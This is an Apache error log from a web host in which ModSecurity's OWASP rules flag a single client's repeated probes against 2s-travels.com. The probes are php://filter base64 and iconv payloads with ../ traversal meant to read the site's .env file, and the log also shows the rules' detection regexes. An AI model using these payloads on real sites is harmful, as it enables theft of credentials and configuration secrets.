[Fri Jul 17 08:55:10.796039 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.797227 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.797321 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=LcdMUEfDvKDnNTW2ASXZ1Mb_bzOVwHx8RoH4qu3EBsYIiwIaKo6jOvz2By7FOJx393zgFFVTp3_ITkIPcw1PP-wajs8MhM_OeMaY34OPKQgcX0FkjiMmwWQtBCVxzYxpHOvTDiiAvcaLi0hacihDuZSoV4YMkhzaD6pq30A2KhByqmtm7ilm7w6hwrAY2cyQ1b5kqMZLC4nsidM8oRQfJqEWoLdUgRbHp3RXOcpPYEzqXdT47XAf7BqqwWui6TdmFMYKyR9OftJfTCbs4ZMtIcDY&ts=OMU5OAFCUWMKYPA3NVKXRVK25JLOCHL3XMWK273ARF3WH3C52FE5X2TFILFRFFPON46NMHGY3JBLS2F..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.797352 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.797492 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.797659 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.base64-encode/resource=../../.env&anything=LcdMUEfDvKDnNTW2ASXZ1Mb_bzOVwHx8RoH4qu3EBsYIiwIaKo6jOvz2By7FOJx393zgFFVTp3_ITkIPcw1PP-wajs8MhM_OeMaY34OPKQgcX0FkjiMmwWQtBCVxzYxpHOvTDiiAvcaLi0hacihDuZSoV4YMkhzaD6pq30A2KhByqmtm7ilm7w6hwrAY2cyQ1b5kqMZLC4nsidM8oRQfJqEWoLdUgRbHp3RXOcpPYEzqXdT47XAf7BqqwWui6TdmFMYKyR9OftJfTCbs4ZMtIcDY&ts=OMU5OAFCUWMKYPA3NVKXRVK25JLOCHL3XMWK273ARF3WH3C52FE5X2TFILFRFFPON46NMHGY3JBLS2FEER4CBEWRD5ZBJXV76GTPCEE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.797742 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkkXT4NBqALj2lZ8dwAAABA"]
[Fri Jul 17 08:55:10.797830 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.base64-encode/resource=../../.env&anything=lcdmuefdvkdnntw2asxz1mb_bzovwhx8roh4qu3ebsyiiwiako6jovz2by7fojx393zgffvtp3_itkipcw1pp-wajs8mhm_oemay34opkqgcx0fkjimmwwqtbcvxzyxphovtdiiavcali0hacihduzsov4ymkhzad6pq30a2khbyqmtm7ilm7w6hwray2cyq1b5kqmzlc4nsidm8orqfjqewoldugrbhp3rxocppyezqxdt47xaf7bqqwwui6tdmfmykyr9oftjftcbs4zmticdy&ts=omu5oafcuwmkypa3nvkxrvk25jlochl3xmwk273arf3wh3c52fe5x2tfilfrffpon46nmhgy3jbls2feer4cbewrd5zbjxv76gtpcee..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.797892 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.797992 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.798163 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.798827 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.798019 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.799806 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllCBpfuYyhJ140vSYgAAAB4"]
[Fri Jul 17 08:55:10.802556 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.802811 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.803306 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloZvbo7N5o5zeYC-JAAAABw"]
[Fri Jul 17 08:55:10.804882 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNQAAAAY"]
[Fri Jul 17 08:55:10.805914 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNQAAAAY"]
[Fri Jul 17 08:55:10.806026 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.806357 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg5GPQ6hs4VrfMpBNQAAAAY"]
[Fri Jul 17 08:55:10.812076 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&ts=soL3hoYHYeSK0XREks80GWp_tEkkll6fmdk_Vn-6NvW1EvaYHawVlK-xyHzoNZlM1xyLosYf6DqIB4gDALOCgtX1-trQPJAKaQbYFIme-E82flVCSDndK2NnGtUY-7-zb45qo4aLt-ZtGr1-yOpk6gYQmC55qDaggRyfafRTI8a0GLDIPB4lUXeWO1HOykvSEmDWrHRofOa52jZRmp3rBXyA_vTKAtnCltsmCtja68LdLrPDB8YWnbAgFJ9VDygz2-L7hqgtciubPhUiDnXV8sLA&extra=AGW3UVWQW6W5HYCDFTUWQOQ2O4VARX75UVFRJDY4HWVTWDRRKTU26RMZ56BKR22SK5RBQD5EB..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.812129 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.812177 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ts=soL3hoYHYeSK0XREks80GWp_tEkkll6fmdk_Vn-6NvW1EvaYHawVlK-xyHzoNZlM1xyLosYf6DqIB4gDALOCgtX1-trQPJAKaQbYFIme-E82flVCSDndK2NnGtUY-7-zb45qo4aLt-ZtGr1-yOpk6gYQmC55qDaggRyfafRTI8a0GLDIPB4lUXeWO1HOykvSEmDWrHRofOa52jZRmp3rBXyA_vTKAtnCltsmCtja68LdLrPDB8YWnbAgFJ9VDygz2-L7hqgtciubPhUiDnXV8sLA&extra=AGW3UVWQW6W5HYCDFTUWQOQ2O4VARX75UVFRJDY4HWVTWDRRKTU26RMZ56BKR22SK5RBQD5EBO6YFK7XORUVZH4SDHEZSAX2735..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.812236 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ts=sol3hoyhyesk0xreks80gwp_tekkll6fmdk_vn-6nvw1evayhawvlk-xyhzonzlm1xylosyf6dqib4gdalocgtx1-trqpjakaqbyfime-e82flvcsdndk2nngtuy-7-zb45qo4alt-ztgr1-yopk6gyqmc55qdaggryfafrti8a0gldipb4luxewo1hoykvsemdwrhrofoa52jzrmp3rbxya_vtkatncltsmctja68ldlrpdb8ywnbagfj9vdygz2-l7hqgtciubphuidnxv8sla&extra=agw3uvwqw6w5hycdftuwqoq2o4varx75uvfrjdy4hwvtwdrrktu26rmz56bkr22sk5rbqd5ebo6yfk7xoruvzh4sdhezsax2735..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.812264 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.812289 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.812694 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.813697 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
[Fri Jul 17 08:55:10.813863 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.814235 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllh1WDijTxd1xw5MJgAAAAc"]
